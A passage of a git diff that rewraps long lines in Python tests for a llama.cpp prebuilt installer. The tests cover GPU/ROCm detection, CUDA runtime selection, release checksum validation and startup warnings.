     def test_setup_provides_path_fix_hint(self):
         """setup.ps1 must tell the user how to add the HIP bin dir to PATH."""
         source = _SETUP_PS1_PATH.read_text(encoding = "utf-8")
-        assert "PATH" in source and ("SetEnvironmentVariable" in source or "Add" in source)
+        assert "PATH" in source and (
+            "SetEnvironmentVariable" in source or "Add" in source
+        )
 
     def test_install_provides_path_fix_hint(self):
         """install.ps1 must tell the user how to add the HIP bin dir to PATH."""
         source = _INSTALL_PS1_PATH.read_text(encoding = "utf-8")
-        assert "PATH" in source and ("SetEnvironmentVariable" in source or "Add" in source)
+        assert "PATH" in source and (
+            "SetEnvironmentVariable" in source or "Add" in source
+        )
 
 
 # TEST: HIP SDK detected substep -- path + hipconfig version shown in terminal
@@ -3217,7 +3362,10 @@ class TestStrixRocm71Override:
         # $TORCH_INDEX_URL (a */gfx* match false-positives on a mirror base path). Only the
         # _grouped_mm-bug gfx families (gfx120X-all / gfx1151 / gfx1150) are pushed to 2.11;
         # a bare gfx* would also floor gfx110X-all/gfx90a/gfx908, left bare on purpose.
-        assert 'case "$_torch_index_leaf" in\n    rocm7.2|gfx120x-all|gfx1151|gfx1150)' in source, (
+        assert (
+            'case "$_torch_index_leaf" in\n    rocm7.2|gfx120x-all|gfx1151|gfx1150)'
+            in source
+        ), (
             "the torch>=2.11 constraint must match the specific gfx leaves that need "
             "it (rocm7.2|gfx120x-all|gfx1151|gfx1150), not a bare gfx* or the whole URL"
         )
@@ -3273,7 +3421,9 @@ class TestSetupShGccInstallDir:
 # TEST: main.py -- BNB_ROCM_VERSION server startup + distributed stubs
 
 _MAIN_PY_PATH = PACKAGE_ROOT / "studio" / "backend" / "main.py"
-_HARDWARE_PY_PATH = PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "hardware.py"
+_HARDWARE_PY_PATH = (
+    PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "hardware.py"
+)
 
 
 class TestServerStartupRocmFixes:
@@ -3506,7 +3656,9 @@ class TestApplyHostOverrides:
         assert out.rocm_gfx_target is None
 
     def test_malformed_forwarded_gfx_falls_back_to_has_rocm(self):
-        out = _apply_host_overrides(cpu_host(), override_has_rocm = True, override_rocm_gfx = "junk")
+        out = _apply_host_overrides(
+            cpu_host(), override_has_rocm = True, override_rocm_gfx = "junk"
+        )
         assert out.has_rocm is True
         assert out.rocm_gfx_target is None
 
@@ -3631,7 +3783,11 @@ class TestRocmGfxForwarding:
             pytest.skip("pwsh not available")
         source = _SETUP_PS1_PATH.read_text(encoding = "utf-8")
         line = next(
-            (ln for ln in source.splitlines() if ln.strip().startswith("$HelperReleaseRepo =")),
+            (
+                ln
+                for ln in source.splitlines()
+                if ln.strip().startswith("$HelperReleaseRepo =")
+            ),
             None,
         )
         assert line is not None, "$HelperReleaseRepo selection not found in setup.ps1"
@@ -3695,7 +3851,9 @@ def test_pick_rocm_gfx_target_same_arch_multi_gpu(monkeypatch):
 
 
 _INSTALL_SH_PATH = PACKAGE_ROOT / "install.sh"
-_LLAMA_CPP_PATH = PACKAGE_ROOT / "studio" / "backend" / "core" / "inference" / "llama_cpp.py"
+_LLAMA_CPP_PATH = (
+    PACKAGE_ROOT / "studio" / "backend" / "core" / "inference" / "llama_cpp.py"
+)
 
 
 class TestWslSystemRocmLibDirs:
@@ -3766,7 +3924,9 @@ class TestBinaryEnvWslOrdering:
         # dedupe_existing_dirs drops non-existent dirs, so use a real dir.
         sys_rocm = tmp_path / "sysrocm"
         sys_rocm.mkdir()
-        with patch.object(prebuilt_mod, "_wsl_system_rocm_lib_dirs", return_value = [str(sys_rocm)]):
+        with patch.object(
+            prebuilt_mod, "_wsl_system_rocm_lib_dirs", return_value = [str(sys_rocm)]
+        ):
             with patch.dict(os.environ, {}, clear = True):
                 env = prebuilt_mod.binary_env(binary, tmp_path, self._linux_host())
         ld = env["LD_LIBRARY_PATH"].split(os.pathsep)
@@ -3836,7 +3996,9 @@ class TestWslRerouteNvidiaGuard:
         body = source[start:end]
         nv = body.find("_has_usable_nvidia_gpu")
         wmi = body.find("_wsl_amd_gpu_name")
-        assert nv != -1, "reroute must consult _has_usable_nvidia_gpu before deciding to reroute"
+        assert (
+            nv != -1
+        ), "reroute must consult _has_usable_nvidia_gpu before deciding to reroute"
         assert wmi != -1
         # The NVIDIA guard must precede the AMD/WMI signal and return early.
         assert nv < wmi
@@ -3846,9 +4008,15 @@ class TestWslRerouteNvidiaGuard:
         source = _INSTALL_SH_PATH.read_text(encoding = "utf-8")
         call = source.find("\n_maybe_reroute_strixhalo_to_2404 || true")
         assert call != -1
-        for fn in ("_run_bounded() {", "_cvd_hides_nvidia() {", "_has_usable_nvidia_gpu() {"):
+        for fn in (
+            "_run_bounded() {",
+            "_cvd_hides_nvidia() {",
+            "_has_usable_nvidia_gpu() {",
+        ):
             idx = source.find(fn)
-            assert idx != -1 and idx < call, f"{fn} must be defined before the reroute call"
+            assert (
+                idx != -1 and idx < call
+            ), f"{fn} must be defined before the reroute call"
 
 
 class TestStrixhaloGfxOverridePipefail:
diff --git a/tests/studio/install/test_selection_logic.py b/tests/studio/install/test_selection_logic.py
index e372a3bbeb..ffdfe0c8a2 100644
--- a/tests/studio/install/test_selection_logic.py
+++ b/tests/studio/install/test_selection_logic.py
@@ -15,7 +15,9 @@ import pytest
 PACKAGE_ROOT = Path(__file__).resolve().parents[3]
 MODULE_PATH = PACKAGE_ROOT / "studio" / "install_llama_prebuilt.py"
 RUN_MODULE_PATH = PACKAGE_ROOT / "studio" / "backend" / "run.py"
-SPEC = importlib.util.spec_from_file_location("studio_install_llama_prebuilt", MODULE_PATH)
+SPEC = importlib.util.spec_from_file_location(
+    "studio_install_llama_prebuilt", MODULE_PATH
+)
 assert SPEC is not None and SPEC.loader is not None
 INSTALL_LLAMA_PREBUILT = importlib.util.module_from_spec(SPEC)
 sys.modules[SPEC.name] = INSTALL_LLAMA_PREBUILT
@@ -40,7 +42,9 @@ supports_explicit_visible_device_matching = (
 select_visible_gpu_rows = INSTALL_LLAMA_PREBUILT.select_visible_gpu_rows
 compatible_linux_runtime_lines = INSTALL_LLAMA_PREBUILT.compatible_linux_runtime_lines
 pick_windows_cuda_runtime = INSTALL_LLAMA_PREBUILT.pick_windows_cuda_runtime
-compatible_windows_runtime_lines = INSTALL_LLAMA_PREBUILT.compatible_windows_runtime_lines
+compatible_windows_runtime_lines = (
+    INSTALL_LLAMA_PREBUILT.compatible_windows_runtime_lines
+)
 runtime_line_from_cuda_version = INSTALL_LLAMA_PREBUILT.runtime_line_from_cuda_version
 apply_approved_hashes = INSTALL_LLAMA_PREBUILT.apply_approved_hashes
 linux_cuda_choice_from_release = INSTALL_LLAMA_PREBUILT.linux_cuda_choice_from_release
@@ -52,11 +56,19 @@ _fork_manifest_release_plans = INSTALL_LLAMA_PREBUILT._fork_manifest_release_pla
 resolve_published_release = INSTALL_LLAMA_PREBUILT.resolve_published_release
 resolve_source_build_plan = INSTALL_LLAMA_PREBUILT.resolve_source_build_plan
 validated_checksums_for_bundle = INSTALL_LLAMA_PREBUILT.validated_checksums_for_bundle
-parse_approved_release_checksums = INSTALL_LLAMA_PREBUILT.parse_approved_release_checksums
-published_release_matches_request = INSTALL_LLAMA_PREBUILT.published_release_matches_request
-exact_source_archive_logical_name = INSTALL_LLAMA_PREBUILT.exact_source_archive_logical_name
+parse_approved_release_checksums = (
+    INSTALL_LLAMA_PREBUILT.parse_approved_release_checksums
+)
+published_release_matches_request = (
+    INSTALL_LLAMA_PREBUILT.published_release_matches_request
+)
+exact_source_archive_logical_name = (
+    INSTALL_LLAMA_PREBUILT.exact_source_archive_logical_name
+)
 source_archive_logical_name = INSTALL_LLAMA_PREBUILT.source_archive_logical_name
-windows_cuda_upstream_asset_names = INSTALL_LLAMA_PREBUILT.windows_cuda_upstream_asset_names
+windows_cuda_upstream_asset_names = (
+    INSTALL_LLAMA_PREBUILT.windows_cuda_upstream_asset_names
+)
 env_int = INSTALL_LLAMA_PREBUILT.env_int
 direct_upstream_release_plan = INSTALL_LLAMA_PREBUILT.direct_upstream_release_plan
 CudaRuntimePreference = INSTALL_LLAMA_PREBUILT.CudaRuntimePreference
@@ -66,7 +78,9 @@ _windows_cuda_attempt_covers_blackwell = (
 )
 resolve_release_asset_choice = INSTALL_LLAMA_PREBUILT.resolve_release_asset_choice
 pinned_macos_release_tag = INSTALL_LLAMA_PREBUILT.pinned_macos_release_tag
-resolve_simple_install_release_plans = INSTALL_LLAMA_PREBUILT.resolve_simple_install_release_plans
+resolve_simple_install_release_plans = (
+    INSTALL_LLAMA_PREBUILT.resolve_simple_install_release_plans
+)
 
 
 @pytest.fixture(autouse = True)
@@ -226,7 +240,9 @@ def make_checksums_with_source(
             kind = "upstream-source",
         ),
     }
-    normalized_source_commit = source_commit.lower() if isinstance(source_commit, str) else None
+    normalized_source_commit = (
+        source_commit.lower() if isinstance(source_commit, str) else None
+    )
     if normalized_source_commit:
         artifacts[exact_source_archive_logical_name(normalized_source_commit)] = (
             ApprovedArtifactHash(
@@ -246,7 +262,9 @@ def make_checksums_with_source(
         requested_source_ref = requested_source_ref,
         resolved_source_ref = resolved_source_ref,
         source_commit = normalized_source_commit,
-        source_commit_short = normalized_source_commit[:7] if normalized_source_commit else None,
+        source_commit_short = normalized_source_commit[:7]
+        if normalized_source_commit
+        else None,
         artifacts = artifacts,
     )
 
@@ -338,7 +356,10 @@ class TestStudioLocalhostIpv6Warning:
             lambda host, port, timeout = 1.0: True,
         )
 
-        assert run_module._localhost_ipv6_mismatch_url("127.0.0.1", 8888) == "http://127.0.0.1:8888"
+        assert (
+            run_module._localhost_ipv6_mismatch_url("127.0.0.1", 8888)
+            == "http://127.0.0.1:8888"
+        )
 
     @pytest.mark.parametrize("host", ["0.0.0.0", "::"])
     def test_network_bind_suppresses_warning(self, monkeypatch, host):
@@ -403,7 +424,9 @@ class TestStudioLocalhostIpv6Warning:
         monkeypatch.setattr(
             run_module,
             "_verify_global_reachability",
-            lambda display_host, port: calls["reachability"].append((display_host, port)),
+            lambda display_host, port: calls["reachability"].append(
+                (display_host, port)
+            ),
         )
         return calls
 
@@ -426,7 +449,9 @@ class TestStudioLocalhostIpv6Warning:
     def test_emit_startup_output_plain_localhost(self, monkeypatch):
         run_module = load_studio_run_module(monkeypatch)
         calls = self._wire_recorders(run_module, monkeypatch)
-        monkeypatch.setattr(run_module, "_localhost_ipv6_mismatch_url", lambda host, port: None)
+        monkeypatch.setattr(
+            run_module, "_localhost_ipv6_mismatch_url", lambda host, port: None
+        )
 
         run_module._emit_startup_output("127.0.0.1", 8888, "127.0.0.1")
 
@@ -441,7 +466,9 @@ class TestStudioLocalhostIpv6Warning:
     def test_emit_startup_output_wildcard_runs_reachability(self, monkeypatch, host):
         run_module = load_studio_run_module(monkeypatch)
         calls = self._wire_recorders(run_module, monkeypatch)
-        monkeypatch.setattr(run_module, "_localhost_ipv6_mismatch_url", lambda h, port: None)
+        monkeypatch.setattr(
+            run_module, "_localhost_ipv6_mismatch_url", lambda h, port: None
+        )
 
         run_module._emit_startup_output(host, 8888, "203.0.113.5")
 
@@ -826,7 +853,9 @@ class TestPublishedReleaseResolution:
         def fake_load(repo, release_tag):
             if release_tag == "v2.0":
                 raise PrebuiltFallback("checksum asset missing")
-            return make_checksums_with_source([], release_tag = "v1.0", upstream_tag = "b8999")
+            return make_checksums_with_source(
+                [], release_tag = "v1.0", upstream_tag = "b8999"
+            )
 
         monkeypatch.setattr(
             INSTALL_LLAMA_PREBUILT,
@@ -856,7 +885,9 @@ class TestPublishedReleaseResolution:
             ),
         )
 
-        assert resolve_requested_install_tag("b8508", "", "unslothai/llama.cpp") == "b8508"
+        assert (
+            resolve_requested_install_tag("b8508", "", "unslothai/llama.cpp") == "b8508"
+        )
 
     def test_concrete_tag_without_matching_release_raises(self, monkeypatch):
         release = make_release([], release_tag = "release-b9000", upstream_tag = "b9000")
@@ -870,7 +901,9 @@ class TestPublishedReleaseResolution:
             resolve_requested_install_tag("b8508", "", "unslothai/llama.cpp")
 
     def test_pinned_release_must_match_requested_upstream_tag(self, monkeypatch):
-        bundle = make_release([], release_tag = "llama-prebuilt-latest", upstream_tag = "b9000")
+        bundle = make_release(
+            [], release_tag = "llama-prebuilt-latest", upstream_tag = "b9000"
+        )
         monkeypatch.setattr(
             INSTALL_LLAMA_PREBUILT,
             "pinned_published_release_bundle",
@@ -1046,13 +1079,15 @@ class TestSourceBuildPlanResolution:
         assert plan.source_ref == "main"
         assert plan.compatibility_upstream_tag == "b9000"
 
-    def test_direct_main_request_without_published_release_uses_branch_kind(self, monkeypatch):
+    def test_direct_main_request_without_published_release_uses_branch_kind(
+        self, monkeypatch
+    ):
         monkeypatch.setattr(
             INSTALL_LLAMA_PREBUILT,
             "resolve_published_release",
-            lambda requested_tag, published_repo, published_release_tag = "": (_ for _ in ()).throw(
-                PrebuiltFallback("missing")
-            ),
+            lambda requested_tag, published_repo, published_release_tag = "": (
+                _ for _ in ()
+            ).throw(PrebuiltFallback("missing")),
         )
 
         plan = resolve_source_build_plan("main", "unslothai/llama.cpp")
@@ -1127,7 +1162,9 @@ class TestValidatedChecksumsForBundle:
     def test_rejects_manifest_checksum_mismatch(self, monkeypatch):
         bundle = make_release([], release_tag = "r1", upstream_tag = "b8508")
         bundle.manifest_sha256 = "a" * 64
-        checksums = make_checksums_with_source([], release_tag = "r1", upstream_tag = "b8508")
+        checksums = make_checksums_with_source(
+            [], release_tag = "r1", upstream_tag = "b8508"
+        )
         checksums.artifacts[bundle.manifest_asset_name] = ApprovedArtifactHash(
             asset_name = bundle.manifest_asset_name,
             sha256 = "b" * 64,
@@ -1178,9 +1215,13 @@ class TestValidatedChecksumsForBundle:
             lambda repo, release_tag: checksums,
         )
 
-        assert validated_checksums_for_bundle("unslothai/llama.cpp", bundle) is checksums
+        assert (
+            validated_checksums_for_bundle("unslothai/llama.cpp", bundle) is checksums
+        )
         plan = INSTALL_LLAMA_PREBUILT.source_build_plan_for_release(
-            INSTALL_LLAMA_PREBUILT.ResolvedPublishedRelease(bundle = bundle, checksums = checksums)
+            INSTALL_LLAMA_PREBUILT.ResolvedPublishedRelease(
+                bundle = bundle, checksums = checksums
+            )
         )
         assert plan.source_url == "https://github.com/ggml-org/llama.cpp"
         assert plan.source_ref_kind == "commit"
@@ -1222,7 +1263,9 @@ class TestLinuxCudaChoiceFromRelease:
         art12 = make_artifact("bundle-cuda12.tar.gz", runtime_line = "cuda12")
         art13 = make_artifact("bundle-cuda13.tar.gz", runtime_line = "cuda13")
         release = make_release([art12, art13])
-        result = linux_cuda_choice_from_release(host, release, preferred_runtime_line = "cuda12")
+        result = linux_cuda_choice_from_release(
+            host, release, preferred_runtime_line = "cuda12"
+        )
         assert result is not None
         assert result.primary.runtime_line == "cuda12"
 
@@ -1231,7 +1274,9 @@ class TestLinuxCudaChoiceFromRelease:
         host = make_host(driver_cuda_version = (12, 8))
         art = make_artifact("bundle-cuda12.tar.gz", runtime_line = "cuda12")
         release = make_release([art])
-        result = linux_cuda_choice_from_release(host, release, preferred_runtime_line = "cuda13")
+        result = linux_cuda_choice_from_release(
+            host, release, preferred_runtime_line = "cuda13"
+        )
         assert result is not None
         assert result.primary.runtime_line == "cuda12"
         log_entries = result.selection_log
@@ -1256,10 +1301,14 @@ class TestLinuxCudaChoiceFromRelease:
             max_sm = 120,
         )
         release = make_release([art12, art13])
-        result = linux_cuda_choice_from_release(host, release, preferred_runtime_line = "cuda12")
+        result = linux_cuda_choice_from_release(
+            host, release, preferred_runtime_line = "cuda12"
+        )
         assert result is not None
         assert result.primary.runtime_line == "cuda13"
-        assert any("blackwell_runtime_override" in entry for entry in result.selection_log)
+        assert any(
+            "blackwell_runtime_override" in entry for entry in result.selection_log
+        )
 
     def test_blackwell_skips_incapable_cuda13_line(self, monkeypatch):
         # cuda13 line can't cover sm_120 (only an -older bundle): stay on native cuda12.
@@ -1280,7 +1329,9 @@ class TestLinuxCudaChoiceFromRelease:
             max_sm = 120,
         )
         release = make_release([art13_older, art12_newer])
-        result = linux_cuda_choice_from_release(host, release, preferred_runtime_line = "cuda12")
+        result = linux_cuda_choice_from_release(
+            host, release, preferred_runtime_line = "cuda12"
+        )
         assert result is not None
         assert result.primary.runtime_line == "cuda12"
         assert result.primary.name == "bundle-cuda12-newer.tar.gz"
@@ -1297,7 +1348,9 @@ class TestLinuxCudaChoiceFromRelease:
             max_sm = 120,
         )
         release = make_release([art12])
-        result = linux_cuda_choice_from_release(host, release, preferred_runtime_line = "cuda12")
+        result = linux_cuda_choice_from_release(
+            host, release, preferred_runtime_line = "cuda12"
+        )
         assert result is not None
         assert result.primary.runtime_line == "cuda12"
 
@@ -1320,10 +1373,14 @@ class TestLinuxCudaChoiceFromRelease:
             max_sm = 86,
         )
         release = make_release([art12, art13])
-        result = linux_cuda_choice_from_release(host, release, preferred_runtime_line = "cuda12")
+        result = linux_cuda_choice_from_release(
+            host, release, preferred_runtime_line = "cuda12"
+        )
         assert result is not None
         assert result.primary.runtime_line == "cuda12"
-        assert not any("blackwell_runtime_override" in entry for entry in result.selection_log)
+        assert not any(
+            "blackwell_runtime_override" in entry for entry in result.selection_log
+        )
 
     def test_blackwell_ignores_malformed_runtime_line(self, monkeypatch):
         # A malformed runtime_line must be skipped, not crash the major sort.
@@ -1344,7 +1401,9 @@ class TestLinuxCudaChoiceFromRelease:
             max_sm = 120,
         )
         release = make_release([bad, art13])
-        result = linux_cuda_choice_from_release(host, release, preferred_runtime_line = "cuda12")
+        result = linux_cuda_choice_from_release(
+            host, release, preferred_runtime_line = "cuda12"
+        )
         assert result is not None
         assert result.primary.runtime_line == "cuda13"
 
@@ -1363,7 +1422,9 @@ class TestLinuxCudaChoiceFromRelease:
             for rtl in ("cuda12", "cuda13", "cuda14")
         ]
         release = make_release(arts)
-        result = linux_cuda_choice_from_release(host, release, preferred_runtime_line = "cuda12")
+        result = linux_cuda_choice_from_release(
+            host, release, preferred_runtime_line = "cuda12"
+        )
         assert result is not None
         assert result.primary.runtime_line == "cuda14"
 
@@ -1401,7 +1462,9 @@ class TestLinuxCudaChoiceFromRelease:
     def test_exact_sm_match(self, monkeypatch):
         mock_linux_runtime(monkeypatch, ["cuda12"])
         host = make_host(compute_caps = ["86"])
-        art = make_artifact("bundle.tar.gz", supported_sms = ["75", "86", "89"], min_sm = 75, max_sm = 89)
+        art = make_artifact(
+            "bundle.tar.gz", supported_sms = ["75", "86", "89"], min_sm = 75, max_sm = 89
+        )
         release = make_release([art])
         result = linux_cuda_choice_from_release(host, release)
         assert result is not None
@@ -1410,7 +1473,9 @@ class TestLinuxCudaChoiceFromRelease:
     def test_sm_not_in_supported_sms(self, monkeypatch):
         mock_linux_runtime(monkeypatch, ["cuda12"])
         host = make_host(compute_caps = ["86"])
-        art = make_artifact("bundle.tar.gz", supported_sms = ["75", "80", "89"], min_sm = 75, max_sm = 89)
+        art = make_artifact(
+            "bundle.tar.gz", supported_sms = ["75", "80", "89"], min_sm = 75, max_sm = 89
+        )
         release = make_release([art])
         result = linux_cuda_choice_from_release(host, release)
         assert result is None
@@ -1418,7 +1483,9 @@ class TestLinuxCudaChoiceFromRelease:
     def test_sm_outside_min_range(self, monkeypatch):
         mock_linux_runtime(monkeypatch, ["cuda12"])
         host = make_host(compute_caps = ["50"])
-        art = make_artifact("bundle.tar.gz", supported_sms = ["50", "75", "86"], min_sm = 75, max_sm = 90)
+        art = make_artifact(
+            "bundle.tar.gz", supported_sms = ["50", "75", "86"], min_sm = 75, max_sm = 90
+        )
         release = make_release([art])
         result = linux_cuda_choice_from_release(host, release)
         assert result is None
@@ -1487,7 +1554,9 @@ class TestLinuxCudaChoiceFromRelease:
     def test_multi_gpu_not_all_covered(self, monkeypatch):
         mock_linux_runtime(monkeypatch, ["cuda12"])
         host = make_host(compute_caps = ["50", "89"])
-        art = make_artifact("bundle.tar.gz", supported_sms = ["75", "89"], min_sm = 75, max_sm = 89)
+        art = make_artifact(
+            "bundle.tar.gz", supported_sms = ["75", "89"], min_sm = 75, max_sm = 89
+        )
         release = make_release([art])
         result = linux_cuda_choice_from_release(host, release)
         assert result is None
@@ -1606,7 +1675,9 @@ class TestLinuxCudaChoiceFromRelease:
 
 
 class TestResolveInstallAttempts:
-    def test_windows_cuda_prefers_published_asset_from_selected_release(self, monkeypatch):
+    def test_windows_cuda_prefers_published_asset_from_selected_release(
+        self, monkeypatch
+    ):
         host = make_host(system = "Windows", machine = "AMD64")
         host.driver_cuda_version = (12, 4)
         mock_windows_runtime(monkeypatch, ["cuda12"])
@@ -1637,7 +1708,10 @@ class TestResolveInstallAttempts:
         monkeypatch.setattr(
             INSTALL_LLAMA_PREBUILT,
             "iter_resolved_published_releases",
-            lambda requested_tag, published_repo, published_release_tag = "", **_kwargs: iter(
+            lambda requested_tag,
+            published_repo,
+            published_release_tag = "",
+            **_kwargs: iter(
                 [
                     INSTALL_LLAMA_PREBUILT.ResolvedPublishedRelease(
                         bundle = release,
@@ -1650,7 +1724,9 @@ class TestResolveInstallAttempts:
             INSTALL_LLAMA_PREBUILT,
             "github_release_assets",
             lambda repo, tag: (_ for _ in ()).throw(
-                AssertionError("published Windows CUDA choice should not query upstream")
+                AssertionError(
+                    "published Windows CUDA choice should not query upstream"
+                )
             ),
         )
 
@@ -1672,7 +1748,9 @@ class TestResolveInstallAttempts:
         host = make_host(system = "Windows", machine = "AMD64")
         host.driver_cuda_version = (12, 4)
         mock_windows_runtime(monkeypatch, ["cuda12"])
-        release = make_release([], release_tag = "llama-prebuilt-latest", upstream_tag = "b9000")
+        release = make_release(
+            [], release_tag = "llama-prebuilt-latest", upstream_tag = "b9000"
+        )
         checksums = make_checksums_with_source(
             ["llama-b9000-bin-win-cuda-12.4-x64.zip"],
             release_tag = release.release_tag,
@@ -1682,7 +1760,10 @@ class TestResolveInstallAttempts:
         monkeypatch.setattr(
             INSTALL_LLAMA_PREBUILT,
             "iter_resolved_published_releases",
-            lambda requested_tag, published_repo, published_release_tag = "", **_kwargs: iter(
+            lambda requested_tag,
+            published_repo,
+            published_release_tag = "",
+            **_kwargs: iter(
                 [
                     INSTALL_LLAMA_PREBUILT.ResolvedPublishedRelease(
                         bundle = release,
@@ -1727,7 +1808,9 @@ class TestResolveInstallAttempts:
         assert attempts[0].expected_sha256 == "a" * 64
         assert approved.release_tag == "llama-prebuilt-latest"
 
-    def test_linux_cpu_fork_without_bundle_raises_no_upstream_fallback(self, monkeypatch):
+    def test_linux_cpu_fork_without_bundle_raises_no_upstream_fallback(
+        self, monkeypatch
+    ):
         # A CPU-only Linux host on the fork never falls back to the ggml-org CPU
         # asset. CPU-only Linux now routes to the fork, but if a release manifest
         # happens to ship no CPU bundle the resolver raises rather than quietly
@@ -1737,7 +1820,9 @@ class TestResolveInstallAttempts:
             has_physical_nvidia = False,
             nvidia_smi = None,
         )
-        release = make_release([], release_tag = "llama-prebuilt-latest", upstream_tag = "b9000")
+        release = make_release(
+            [], release_tag = "llama-prebuilt-latest", upstream_tag = "b9000"
+        )
         checksums = make_checksums_with_source(
             [],
             release_tag = release.release_tag,
@@ -1747,7 +1832,10 @@ class TestResolveInstallAttempts:
         monkeypatch.setattr(
             INSTALL_LLAMA_PREBUILT,
             "iter_resolved_published_releases",
-            lambda requested_tag, published_repo, published_release_tag = "", **_kwargs: iter(
+            lambda requested_tag,
+            published_repo,
+            published_release_tag = "",
+            **_kwargs: iter(
                 [
                     INSTALL_LLAMA_PREBUILT.ResolvedPublishedRelease(
                         bundle = release,
@@ -1764,12 +1852,16 @@ class TestResolveInstallAttempts:
             ),
         )
 
-        with pytest.raises(PrebuiltFallback, match = "no compatible Linux prebuilt asset was found"):
+        with pytest.raises(
+            PrebuiltFallback, match = "no compatible Linux prebuilt asset was found"
+        ):
             resolve_install_attempts("latest", host, "unslothai/llama.cpp", "")
 
     def test_linux_cuda_does_not_fall_back_to_upstream_cpu(self, monkeypatch):
         host = make_host(system = "Linux", machine = "x86_64", compute_caps = ["86"])
-        release = make_release([], release_tag = "llama-prebuilt-latest", upstream_tag = "b9000")
+        release = make_release(
+            [], release_tag = "llama-prebuilt-latest", upstream_tag = "b9000"
+        )
         checksums = make_checksums_with_source(
             [],
             release_tag = release.release_tag,
@@ -1779,7 +1871,10 @@ class TestResolveInstallAttempts:
         monkeypatch.setattr(
             INSTALL_LLAMA_PREBUILT,
             "iter_resolved_published_releases",
-            lambda requested_tag, published_repo, published_release_tag = "", **_kwargs: iter(
+            lambda requested_tag,
+            published_repo,
+            published_release_tag = "",
+            **_kwargs: iter(
                 [
                     INSTALL_LLAMA_PREBUILT.ResolvedPublishedRelease(
                         bundle = release,
@@ -1790,7 +1885,9 @@ class TestResolveInstallAttempts:
         )
         mock_linux_runtime(monkeypatch, ["cuda12"])
 
-        with pytest.raises(PrebuiltFallback, match = "no compatible Linux prebuilt asset was found"):
+        with pytest.raises(
+            PrebuiltFallback, match = "no compatible Linux prebuilt asset was found"
+        ):
             resolve_install_attempts("latest", host, "unslothai/llama.cpp", "")
 
     def test_windows_cpu_prefers_published_asset(self, monkeypatch):
@@ -1828,7 +1925,10 @@ class TestResolveInstallAttempts:
         monkeypatch.setattr(
             INSTALL_LLAMA_PREBUILT,
             "iter_resolved_published_releases",
-            lambda requested_tag, published_repo, published_release_tag = "", **_kwargs: iter(
+            lambda requested_tag,
+            published_repo,
+            published_release_tag = "",
+            **_kwargs: iter(
                 [
                     INSTALL_LLAMA_PREBUILT.ResolvedPublishedRelease(
                         bundle = release,
@@ -1860,7 +1960,13 @@ class TestResolveInstallAttempts:
         "system, machine, asset_name, install_kind, bundle_profile",
         [
             # CPU-only Linux x64 -> fork linux-cpu (was ggml-org ubuntu-x64).
-            ("Linux", "x86_64", "app-b9625-linux-x64-cpu.tar.gz", "linux-cpu", "linux-cpu-x64"),
+            (
+                "Linux",
+                "x86_64",
+                "app-b9625-linux-x64-cpu.tar.gz",
+                "linux-cpu",
+                "linux-cpu-x64",
+            ),
             # CPU-only Linux arm64 -> fork linux-arm64 (was ggml-org ubuntu-arm64).
             (
                 "Linux",
@@ -1919,7 +2025,10 @@ class TestResolveInstallAttempts:
         monkeypatch.setattr(
             INSTALL_LLAMA_PREBUILT,
             "iter_resolved_published_releases",
-            lambda requested_tag, published_repo, published_release_tag = "", **_kwargs: iter(
+            lambda requested_tag,
+            published_repo,
+            published_release_tag = "",
+            **_kwargs: iter(
                 [
                     INSTALL_LLAMA_PREBUILT.ResolvedPublishedRelease(
                         bundle = release,
@@ -1988,7 +2097,10 @@ class TestResolveInstallAttempts:
         monkeypatch.setattr(
             INSTALL_LLAMA_PREBUILT,
             "iter_resolved_published_releases",
-            lambda requested_tag, published_repo, published_release_tag = "", **_kwargs: iter(
+            lambda requested_tag,
+            published_repo,
+            published_release_tag = "",
+            **_kwargs: iter(
                 [
                     INSTALL_LLAMA_PREBUILT.ResolvedPublishedRelease(
                         bundle = release,
@@ -1998,7 +2110,9 @@ class TestResolveInstallAttempts:
             ),
         )
 
-        with pytest.raises(PrebuiltFallback, match = "no compatible Linux prebuilt asset was found"):
+        with pytest.raises(
+            PrebuiltFallback, match = "no compatible Linux prebuilt asset was found"
+        ):
             resolve_install_attempts("latest", host, "unslothai/llama.cpp", "")
 
     def test_macos_prefers_published_asset(self, monkeypatch):
@@ -2038,7 +2152,10 @@ class TestResolveInstallAttempts:
         monkeypatch.setattr(
             INSTALL_LLAMA_PREBUILT,
             "iter_resolved_published_releases",
-            lambda requested_tag, published_repo, published_release_tag = "", **_kwargs: iter(
+            lambda requested_tag,
+            published_repo,
+            published_release_tag = "",
+            **_kwargs: iter(
                 [
                     INSTALL_LLAMA_PREBUILT.ResolvedPublishedRelease(
                         bundle = release,
@@ -2101,7 +2218,10 @@ class TestResolveInstallAttempts:
         monkeypatch.setattr(
             INSTALL_LLAMA_PREBUILT,
             "iter_resolved_published_releases",
-            lambda requested_tag, published_repo, published_release_tag = "", **_kwargs: iter(
+            lambda requested_tag,
+            published_repo,
+            published_release_tag = "",
+            **_kwargs: iter(
                 [
                     INSTALL_LLAMA_PREBUILT.ResolvedPublishedRelease(
                         bundle = release,
@@ -2144,7 +2264,9 @@ class TestResolveInstallReleasePlans:
             max_sm = 90,
         )
         return INSTALL_LLAMA_PREBUILT.ResolvedPublishedRelease(
-            bundle = make_release([art], release_tag = release_tag, upstream_tag = upstream_tag),
+            bundle = make_release(
+                [art], release_tag = release_tag, upstream_tag = upstream_tag
+            ),
             checksums = make_checksums_with_source(
                 [asset_name],
                 release_tag = release_tag,
@@ -2152,7 +2274,9 @@ class TestResolveInstallReleasePlans:
             ),
         )
 
-    def test_latest_collects_multiple_older_release_plans_up_to_limit(self, monkeypatch):
+    def test_latest_collects_multiple_older_release_plans_up_to_limit(
+        self, monkeypatch
+    ):
         mock_linux_runtime(monkeypatch, ["cuda12"])
         host = make_host(system = "Linux", machine = "x86_64", compute_caps = ["86"])
         releases = [
@@ -2164,9 +2288,10 @@ class TestResolveInstallReleasePlans:
         monkeypatch.setattr(
             INSTALL_LLAMA_PREBUILT,
             "iter_resolved_published_releases",
-            lambda requested_tag, published_repo, published_release_tag = "", **_kwargs: iter(
-                releases
-            ),
+            lambda requested_tag,
+            published_repo,
+            published_release_tag = "",
+            **_kwargs: iter(releases),
         )
 
         requested_tag, plans = _fork_manifest_release_plans(
@@ -2181,7 +2306,9 @@ class TestResolveInstallReleasePlans:
         assert [plan.release_tag for plan in plans] == ["r3", "r2"]
         assert [plan.llama_tag for plan in plans] == ["b9003", "b9002"]
 
-    def test_latest_skips_non_installable_release_and_keeps_searching(self, monkeypatch):
+    def test_latest_skips_non_installable_release_and_keeps_searching(
+        self, monkeypatch
+    ):
